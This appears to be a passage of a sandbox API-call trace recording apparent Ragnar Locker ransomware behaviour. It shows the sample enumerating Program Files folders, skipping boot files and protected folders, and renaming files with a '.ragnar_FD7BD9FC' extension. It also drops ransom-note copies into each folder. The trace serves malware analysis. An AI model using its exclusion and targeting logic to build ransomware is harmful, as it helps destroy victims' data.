lstrcmpiW (lpString1="msadox28.tlb", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0078.581] lstrcmpiW (lpString1="msadox28.tlb", lpString2="autorun.inf") returned 1 [0078.581] lstrcmpiW (lpString1="msadox28.tlb", lpString2="boot.ini") returned 1 [0078.581] lstrcmpiW (lpString1="msadox28.tlb", lpString2="bootfont.bin") returned 1 [0078.581] lstrcmpiW (lpString1="msadox28.tlb", lpString2="bootsect.bak") returned 1 [0078.581] lstrcmpiW (lpString1="msadox28.tlb", lpString2="bootmgr") returned 1 [0078.581] lstrcmpiW (lpString1="msadox28.tlb", lpString2="bootmgr.efi") returned 1 [0078.581] lstrcmpiW (lpString1="msadox28.tlb", lpString2="bootmgfw.efi") returned 1 [0078.581] lstrcmpiW (lpString1="msadox28.tlb", lpString2="desktop.ini") returned 1 [0078.581] lstrcmpiW (lpString1="msadox28.tlb", lpString2="iconcache.db") returned 1 [0078.581] lstrcmpiW (lpString1="msadox28.tlb", lpString2="ntldr") returned -1 [0078.581] lstrcmpiW (lpString1="msadox28.tlb", lpString2="ntuser.dat") returned -1 [0078.581] lstrcmpiW (lpString1="msadox28.tlb", lpString2="ntuser.dat.log") returned -1 [0078.581] lstrcmpiW (lpString1="msadox28.tlb", lpString2="ntuser.ini") returned -1 [0078.581] lstrcmpiW (lpString1="msadox28.tlb", lpString2="thumbs.db") returned -1 [0078.581] lstrcmpiW (lpString1=".tlb", lpString2=".db") returned 1 [0078.581] lstrcmpiW (lpString1=".tlb", lpString2=".sys") returned 1 [0078.581] lstrcmpiW (lpString1=".tlb", lpString2=".dll") returned 1 [0078.581] lstrcmpiW (lpString1=".tlb", lpString2=".lnk") returned 1 [0078.581] lstrcmpiW (lpString1=".tlb", lpString2=".msi") returned 1 [0078.581] lstrcmpiW (lpString1=".tlb", lpString2=".drv") returned 1 [0078.581] lstrcmpiW (lpString1=".tlb", lpString2=".exe") returned 1 [0078.581] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadox28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msadox28.tlb")) returned 0x20 [0078.581] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadox28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msadox28.tlb"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0078.581] CloseHandle (hObject=0xffffffff) returned 0 [0078.582] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadox28.tlb" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadox28.tlb") returned="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadox28.tlb" [0078.582] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadox28.tlb", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadox28.tlb.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadox28.tlb.ragnar_FD7BD9FC" [0078.582] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadox28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msadox28.tlb"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadox28.tlb.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\system\\ado\\msadox28.tlb.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0078.582] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf55bba, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xbf55bba, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x347dbdb0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x1a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadrh15.dll", cAlternateFileName="")) returned 1 [0078.582] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x30 [0078.582] lstrcpyW (in: lpString1=0x1eb61a, lpString2="msadrh15.dll" | out: lpString1="msadrh15.dll") returned="msadrh15.dll" [0078.582] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadrh15.dll") returned=".dll" [0078.582] lstrcmpiW (lpString1="msadrh15.dll", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0078.582] lstrcmpiW (lpString1="msadrh15.dll", lpString2="autorun.inf") returned 1 [0078.582] lstrcmpiW (lpString1="msadrh15.dll", lpString2="boot.ini") returned 1 [0078.582] lstrcmpiW (lpString1="msadrh15.dll", lpString2="bootfont.bin") returned 1 [0078.582] lstrcmpiW (lpString1="msadrh15.dll", lpString2="bootsect.bak") returned 1 [0078.582] lstrcmpiW (lpString1="msadrh15.dll", lpString2="bootmgr") returned 1 [0078.582] lstrcmpiW (lpString1="msadrh15.dll", lpString2="bootmgr.efi") returned 1 [0078.582] lstrcmpiW (lpString1="msadrh15.dll", lpString2="bootmgfw.efi") returned 1 [0078.582] lstrcmpiW (lpString1="msadrh15.dll", lpString2="desktop.ini") returned 1 [0078.582] lstrcmpiW (lpString1="msadrh15.dll", lpString2="iconcache.db") returned 1 [0078.582] lstrcmpiW (lpString1="msadrh15.dll", lpString2="ntldr") returned -1 [0078.582] lstrcmpiW (lpString1="msadrh15.dll", lpString2="ntuser.dat") returned -1 [0078.582] lstrcmpiW (lpString1="msadrh15.dll", lpString2="ntuser.dat.log") returned -1 [0078.582] lstrcmpiW (lpString1="msadrh15.dll", lpString2="ntuser.ini") returned -1 [0078.582] lstrcmpiW (lpString1="msadrh15.dll", lpString2="thumbs.db") returned -1 [0078.582] lstrcmpiW (lpString1=".dll", lpString2=".db") returned 1 [0078.582] lstrcmpiW (lpString1=".dll", lpString2=".sys") returned -1 [0078.582] lstrcmpiW (lpString1=".dll", lpString2=".dll") returned 0 [0078.582] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8111aac0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x8111aac0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0078.582] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x30 [0078.582] lstrcpyW (in: lpString1=0x1eb61a, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0078.582] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\RGNR_FD7BD9FC.txt") returned=".txt" [0078.582] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0078.582] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8111aac0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x8111aac0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0078.583] FindClose (in: hFindFile=0x5a1328 | out: hFindFile=0x5a1328) returned 1 [0078.583] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf4f1c09, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xbf4f1c09, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x128ffb00, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x7200, dwReserved0=0x0, dwReserved1=0x0, cFileName="DirectDB.dll", cAlternateFileName="")) returned 1 [0078.583] lstrcmpiW (lpString1="DirectDB.dll", lpString2=".") returned 1 [0078.583] lstrcmpiW (lpString1="DirectDB.dll", lpString2="..") returned 1 [0078.583] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0078.583] lstrcmpiW (lpString1="en-US", lpString2=".") returned 1 [0078.583] lstrcmpiW (lpString1="en-US", lpString2="..") returned 1 [0078.583] lstrcmpiW (lpString1="en-US", lpString2="Windows") returned -1 [0078.583] lstrcmpiW (lpString1="en-US", lpString2="Windows.old") returned -1 [0078.583] lstrcmpiW (lpString1="en-US", lpString2="Tor browser") returned -1 [0078.583] lstrcmpiW (lpString1="en-US", lpString2="Internet Explorer") returned -1 [0078.583] lstrcmpiW (lpString1="en-US", lpString2="Google") returned -1 [0078.583] lstrcmpiW (lpString1="en-US", lpString2="Opera") returned -1 [0078.583] lstrcmpiW (lpString1="en-US", lpString2="Opera Software") returned -1 [0078.583] lstrcmpiW (lpString1="en-US", lpString2="Mozilla") returned -1 [0078.583] lstrcmpiW (lpString1="en-US", lpString2="Mozilla Firefox") returned -1 [0078.583] lstrcmpiW (lpString1="en-US", lpString2="$Recycle.Bin") returned 1 [0078.583] lstrcmpiW (lpString1="en-US", lpString2="ProgramData") returned -1 [0078.583] lstrcmpiW (lpString1="en-US", lpString2="All Users") returned 1 [0078.583] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\*.*", nBufferLength=0x104, lpBuffer=0x1ec098, lpFilePart=0x1ec544 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\System\\*.*", lpFilePart=0x1ec544*="*.*") returned 0x2c [0078.583] lstrcpyW (in: lpString1=0x1ec0ea, lpString2="en-US" | out: lpString1="en-US") returned="en-US" [0078.583] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\System\\en-US", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\System\\en-US\\") returned="\\\\?\\C:\\Program Files\\Common Files\\System\\en-US\\" [0078.583] lstrcpyW (in: lpString1=0x1ebe8c, lpString2="\\\\?\\C:\\Program Files\\Common Files\\System\\en-US\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\System\\en-US\\") returned="\\\\?\\C:\\Program Files\\Common Files\\System\\en-US\\" [0078.583] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\System\\en-US\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\System\\en-US\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\System\\en-US\\RGNR_FD7BD9FC.txt" [0078.583] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\en-US\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\system\\en-us\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0078.585] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\System\\en-US\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\System\\en-US\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\System\\en-US\\*.*" [0078.585] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\en-US\\*.*", nBufferLength=0x104, lpBuffer=0x1eb1ac, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\System\\en-US\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x32 [0078.586] lstrcpyW (in: lpString1=0x1eafa4, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0078.586] lstrcpyW (in: lpString1=0x1eb20a, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0078.586] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\en-US\\*.*", lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x81140c20, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x81140c20, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1328 [0078.586] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0078.586] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x81140c20, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x81140c20, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.586] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0078.586] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0078.586] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81140c20, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x81140c20, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0078.586] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0078.586] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0078.586] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb313d55, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb313d55, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x16e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab32res.dll.mui", cAlternateFileName="")) returned 1 [0078.586] lstrcmpiW (lpString1="wab32res.dll.mui", lpString2=".") returned 1 [0078.586] lstrcmpiW (lpString1="wab32res.dll.mui", lpString2="..") returned 1 [0078.586] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb313d55, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb313d55, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x16e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab32res.dll.mui", cAlternateFileName="")) returned 0 [0078.586] FindClose (in: hFindFile=0x5a1328 | out: hFindFile=0x5a1328) returned 1 [0078.586] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\en-US\\*.*", lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x81140c20, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x81140c20, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1328 [0078.586] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x81140c20, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x81140c20, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.586] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81140c20, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x81140c20, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0078.586] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\en-US\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\System\\en-US\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x32 [0078.586] lstrcpyW (in: lpString1=0x1eb61e, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0078.586] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\System\\en-US\\RGNR_FD7BD9FC.txt") returned=".txt" [0078.586] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0078.586] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb313d55, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb313d55, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x16e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab32res.dll.mui", cAlternateFileName="")) returned 1 [0078.586] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\en-US\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\System\\en-US\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x32 [0078.587] lstrcpyW (in: lpString1=0x1eb61e, lpString2="wab32res.dll.mui" | out: lpString1="wab32res.dll.mui") returned="wab32res.dll.mui" [0078.587] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\System\\en-US\\wab32res.dll.mui") returned=".mui" [0078.587] lstrcmpiW (lpString1="wab32res.dll.mui", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0078.587] lstrcmpiW (lpString1="wab32res.dll.mui", lpString2="autorun.inf") returned 1 [0078.587] lstrcmpiW (lpString1="wab32res.dll.mui", lpString2="boot.ini") returned 1 [0078.587] lstrcmpiW (lpString1="wab32res.dll.mui", lpString2="bootfont.bin") returned 1 [0078.587] lstrcmpiW (lpString1="wab32res.dll.mui", lpString2="bootsect.bak") returned 1 [0078.587] lstrcmpiW (lpString1="wab32res.dll.mui", lpString2="bootmgr") returned 1 [0078.587] lstrcmpiW (lpString1="wab32res.dll.mui", lpString2="bootmgr.efi") returned 1 [0078.587] lstrcmpiW (lpString1="wab32res.dll.mui", lpString2="bootmgfw.efi") returned 1 [0078.587] lstrcmpiW (lpString1="wab32res.dll.mui", lpString2="desktop.ini") returned 1 [0078.587] lstrcmpiW (lpString1="wab32res.dll.mui", lpString2="iconcache.db") returned 1 [0078.587] lstrcmpiW (lpString1="wab32res.dll.mui", lpString2="ntldr") returned 1 [0078.587] lstrcmpiW (lpString1="wab32res.dll.mui", lpString2="ntuser.dat") returned 1 [0078.587] lstrcmpiW (lpString1="wab32res.dll.mui", lpString2="ntuser.dat.log") returned 1 [0078.587] lstrcmpiW (lpString1="wab32res.dll.mui", lpString2="ntuser.ini") returned 1 [0078.587] lstrcmpiW (lpString1="wab32res.dll.mui", lpString2="thumbs.db") returned 1 [0078.587] lstrcmpiW (lpString1=".mui", lpString2=".db") returned 1 [0078.587] lstrcmpiW (lpString1=".mui", lpString2=".sys") returned -1 [0078.587] lstrcmpiW (lpString1=".mui", lpString2=".dll") returned 1 [0078.587] lstrcmpiW (lpString1=".mui", lpString2=".lnk") returned 1 [0078.587] lstrcmpiW (lpString1=".mui", lpString2=".msi") returned 1 [0078.587] lstrcmpiW (lpString1=".mui", lpString2=".drv") returned 1 [0078.587] lstrcmpiW (lpString1=".mui", lpString2=".exe") returned 1 [0078.587] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\en-US\\wab32res.dll.mui" (normalized: "c:\\program files\\common files\\system\\en-us\\wab32res.dll.mui")) returned 0x20 [0078.587] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\en-US\\wab32res.dll.mui" (normalized: "c:\\program files\\common files\\system\\en-us\\wab32res.dll.mui"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0078.587] CloseHandle (hObject=0xffffffff) returned 0 [0078.587] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Common Files\\System\\en-US\\wab32res.dll.mui" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\System\\en-US\\wab32res.dll.mui") returned="\\\\?\\C:\\Program Files\\Common Files\\System\\en-US\\wab32res.dll.mui" [0078.588] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\System\\en-US\\wab32res.dll.mui", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\System\\en-US\\wab32res.dll.mui.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\System\\en-US\\wab32res.dll.mui.ragnar_FD7BD9FC" [0078.588] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\en-US\\wab32res.dll.mui" (normalized: "c:\\program files\\common files\\system\\en-us\\wab32res.dll.mui"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\en-US\\wab32res.dll.mui.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\system\\en-us\\wab32res.dll.mui.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0078.588] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb313d55, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb313d55, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x16e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab32res.dll.mui", cAlternateFileName="")) returned 0 [0078.588] FindClose (in: hFindFile=0x5a1328 | out: hFindFile=0x5a1328) returned 1 [0078.588] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadc", cAlternateFileName="")) returned 1 [0078.588] lstrcmpiW (lpString1="msadc", lpString2=".") returned 1 [0078.588] lstrcmpiW (lpString1="msadc", lpString2="..") returned 1 [0078.588] lstrcmpiW (lpString1="msadc", lpString2="Windows") returned -1 [0078.588] lstrcmpiW (lpString1="msadc", lpString2="Windows.old") returned -1 [0078.588] lstrcmpiW (lpString1="msadc", lpString2="Tor browser") returned -1 [0078.588] lstrcmpiW (lpString1="msadc", lpString2="Internet Explorer") returned 1 [0078.588] lstrcmpiW (lpString1="msadc", lpString2="Google") returned 1 [0078.588] lstrcmpiW (lpString1="msadc", lpString2="Opera") returned -1 [0078.588] lstrcmpiW (lpString1="msadc", lpString2="Opera Software") returned -1 [0078.588] lstrcmpiW (lpString1="msadc", lpString2="Mozilla") returned 1 [0078.588] lstrcmpiW (lpString1="msadc", lpString2="Mozilla Firefox") returned 1 [0078.588] lstrcmpiW (lpString1="msadc", lpString2="$Recycle.Bin") returned 1 [0078.588] lstrcmpiW (lpString1="msadc", lpString2="ProgramData") returned -1 [0078.588] lstrcmpiW (lpString1="msadc", lpString2="All Users") returned 1 [0078.588] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\*.*", nBufferLength=0x104, lpBuffer=0x1ec098, lpFilePart=0x1ec544 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\System\\*.*", lpFilePart=0x1ec544*="*.*") returned 0x2c [0078.588] lstrcpyW (in: lpString1=0x1ec0ea, lpString2="msadc" | out: lpString1="msadc") returned="msadc" [0078.588] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\") returned="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\" [0078.588] lstrcpyW (in: lpString1=0x1ebe8c, lpString2="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\") returned="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\" [0078.588] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\RGNR_FD7BD9FC.txt" [0078.588] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: 